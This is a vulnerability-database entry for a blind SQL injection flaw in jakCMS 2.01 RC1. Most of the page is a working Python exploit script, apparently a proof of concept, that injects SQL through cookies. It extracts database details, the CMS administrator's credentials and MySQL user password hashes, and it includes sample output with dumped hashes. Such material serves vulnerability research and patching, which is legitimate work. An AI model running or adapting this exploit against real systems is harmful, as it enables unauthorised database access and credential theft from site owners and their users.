Lucene search
K

JAKCMS <= 2.01 RC1 - Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

jakCMS v2.01 RC1 Blind SQL Injection Exploi

Code

                                                #!/usr/bin/python
# 
# jakCMS &#60;= v2.01 RC1 Blind SQL Injection Exploit
#
# Understanding:
# The parameters &#39;JAK_COOKIE_NAME&#39; and &#39;JAK_COOKIE_PASS&#39; are parsed via cookies to the application
# and are unchecked for malicious characters. The contents of these variables are directly inserted into an
# SQL statement, leading to SQL Injection vulnerabilities.
#
# Notes:
# 1. PoC written to only work with the latest version. However, vuln exists in all versions.
# 2. The admin password is encrypted as a sha256 with a unique HMAC. However the default value is set to &#39;&#39;.
#
# [mr_me@pluto jak]$ python jakcmsSQLInjectionExploit.py -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/
#
# 	| ----------------------------------------- |
#	| JAKcms Remote Blind SQL Injection Explo!t |
#	| by mr_me - net-ninja.net ---------------- |
#
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Using &#39;upload/admin&#39; value for the true page
# (+) This will take time, go grab a coffee..
#
# (!) Getting database version: 5.1.41-3ubuntu12.9
# (!) Getting database user: root@localhost
# (!) Getting database name: jak
# (!) Getting JakCMS administrative account: admin:98b1d8e3f0ae03888a87bba62bdaf9adf02c78e9c98cfc8c3f46ed7b428dd64b
# (!) w00t! You have access to MySQL database!
# (+) Dumping hashs hold onto your knickers..
# (+) The username and hashed password is: root:*EE4E2773D7530819563F0DC6FCE27446A51C9413
# (+) PoC finished.

import sys
import urllib
import re
import urllib2
from optparse import OptionParser

usage = &#34;./%prog [&#60;options&#62;] -t [target] -d [directory]&#34;
usage += &#34;\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/&#34;

parser = OptionParser(usage=usage)
parser.add_option(&#34;-p&#34;, type=&#34;string&#34;,action=&#34;store&#34;, dest=&#34;proxy&#34;,
                  help=&#34;HTTP Proxy &#60;server:port&#62;&#34;)
parser.add_option(&#34;-t&#34;, type=&#34;string&#34;, action=&#34;store&#34;, dest=&#34;target&#34;,
                  help=&#34;The Target server &#60;server:port&#62;&#34;)
parser.add_option(&#34;-d&#34;, type=&#34;string&#34;, action=&#34;store&#34;, dest=&#34;dirPath&#34;,
                  help=&#34;Directory path to the CMS&#34;)

(options, args) = parser.parse_args()

def banner():
	print &#34;\n\t| ----------------------------------------- |&#34;
	print &#34;\t| JAKcms Remote Blind SQL Injection Explo!t |&#34;
	print &#34;\t| by mr_me - net-ninja.net ---------------- |\n&#34;

if len(sys.argv) &#60; 5:
    banner()
    parser.print_help()
    sys.exit(1)

# set the stage........
trueStr = &#34;upload/admin&#34;
page = &#34;index.php&#34;
basicInfo = {&#39;version&#39;:&#39;version()&#39;, &#39;user&#39;:&#39;user()&#39;, &#39;name&#39;:&#39;database()&#39;}
lower_value = 0
upper_value = 126

# test before we hit our target
def testProxy():
	check = 1
	sys.stdout.write(&#34;(+) Testing proxy @ %s.. &#34; % (options.proxy))
	sys.stdout.flush()
	try:
        	req = urllib2.Request(&#34;http://www.google.com/&#34;)
		req.set_proxy(options.proxy,&#34;http&#34;)
		check = urllib2.urlopen(req)
    	except:
        	check = 0
        	pass
    	if check != 0:
        	sys.stdout.write(&#34;proxy is found to be working!\n&#34;)
        	sys.stdout.flush()
    	else:
        	print &#34;proxy failed, exiting..&#34;
        	sys.exit(1)

# handles all requests to the target server
def getServerResponse(exploit, header=None, data=None):
	try:
		headers = {}
		headers[&#39;Cookie&#39;] = header
		req = urllib2.Request(exploit, data, headers)
		if options.proxy:
			req.set_proxy(options.proxy,&#34;http&#34;)

		check = urllib2.urlopen(req).read()			
	except urllib.error.HTTPError, error:
		check = error.read()
	except urllib.error.URLError:
		print &#34;(-) Target connection failed, check your address&#34;
		sys.exit(1)
	return check


# modified version of rsauron&#39;s function 
# thanks bro. 
def getAsciiValue(URI, data):
	lower = lower_value
        upper = upper_value
	while lower &#60; upper:
		        try:
			mid = (lower + upper) / 2
			header = data + &#34;&#62;&#34;+str(mid)+&#34;--+;&#34;
			result = getServerResponse(URI, header)
			match = re.findall(trueStr,result)
			if len(match) &#62;= 1:
                                lower = mid + 1
			else:
                             	upper = mid
		except (KeyboardInterrupt, SystemExit):
                        raise
                except:
                       	pass

	if lower &#62; lower_value and lower &#60; upper_value:
                value = lower
        else:
             	header = data + &#34;=&#34;+str(lower) +&#34;-- ;&#34;
		result = getServerResponse(URI, header)
                match = re.findall(trueStr,result)
                if len(match) &#62; 1:
                        value = lower
                else:
                        print &#34;\n(-) READ xprog&#39;s blind sql tutorial!\n&#34;
                        sys.exit(1)
        return value

# Do our blind attacks
def doBlindSqli():
	data = &#34;JAK_COOKIE_PASS=test; JAK_COOKIE_NAME=admin&#34;
	request = (&#34;http://&#34;+options.target+options.dirPath + page)
	print &#34;(+) Using &#39;%s&#39; value for the true page&#34; % (trueStr)
        print &#34;(+) This will take time, go grab a coffee..&#34;
        for key in basicInfo:
	        sys.stdout.write(&#34;\n(!) Getting database %s: &#34; % (key))
                sys.stdout.flush()

                # it will never go through all 50 iterations. \0/ lazy.
                for i in range(1,50):
			getBasicInfo = (data+&#34;\&#34;))+and+ascii(substring(%s,%s,1))&#34; % (basicInfo[key],str(i)))
           		asciival = getAsciiValue(request, getBasicInfo)
                        if asciival &#62;= 0:
                                sys.stdout.write(&#34;%s&#34; % (chr(asciival)))
                                sys.stdout.flush()
                        else:
                             	break

	# get JAKCMS admin account data
	sys.stdout.write(&#34;\n(!) Getting JakCMS administrative account: &#34;)
	sys.stdout.flush()
	for i in range(1,100):
		getUserAndPass = (data+&#34;\&#34;))+and+ascii(substring((SELECT+concat(username,0x3a,password)+from+&#34;
  		&#34;user+limit+0,1),%s,1))&#34; % str(i))

		asciival = getAsciiValue(request, getUserAndPass)
		
		if asciival != 0:
			sys.stdout.write(&#34;%s&#34; % (chr(asciival)))
			sys.stdout.flush()
		else:
			pass

	# if we are lucky, get the mysql user/pass
	isMysqlUser = (data+&#34;\&#34;))+and+(select+1+from+mysql.user+limit+0,1)=1--+&#34;)
        result = getServerResponse(request, isMysqlUser)
        match = re.findall(trueStr,result)
        if len(match) &#62;= 1:
               	print &#34;\n(!) w00t! You have access to MySQL database!&#34;
                print &#34;(+) Dumping hashs hold onto your knickers..&#34;
                sys.stdout.write(&#34;(+) The username and hashed password is: &#34;)
                sys.stdout.flush()
                for k in range(1,100):
                       	getMysqlUserAndPass = (data+&#34;\&#34;))+and+ascii(substring((SELECT+concat(user,0x3a,password)+from+&#34;
                        &#34;mysql.user+limit+0,1),%s,1))&#34; % str(k))
                        asciival = getAsciiValue(request, getMysqlUserAndPass)
                        if asciival != 0:
                                sys.stdout.write(&#34;%s&#34; % (chr(asciival)))
                               	sys.stdout.flush()
                        else:
                                break
		sys.stdout.write(&#34;\n(+) PoC finished.\n&#34;)
		sys.stdout.flush()
        else:
		print &#34;\n(-) You do not have access to MySQL database&#34;


def main():
	banner()
	if options.proxy:
		testProxy()
	doBlindSqli()

if __name__ == &#34;__main__&#34;:
	main()
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
16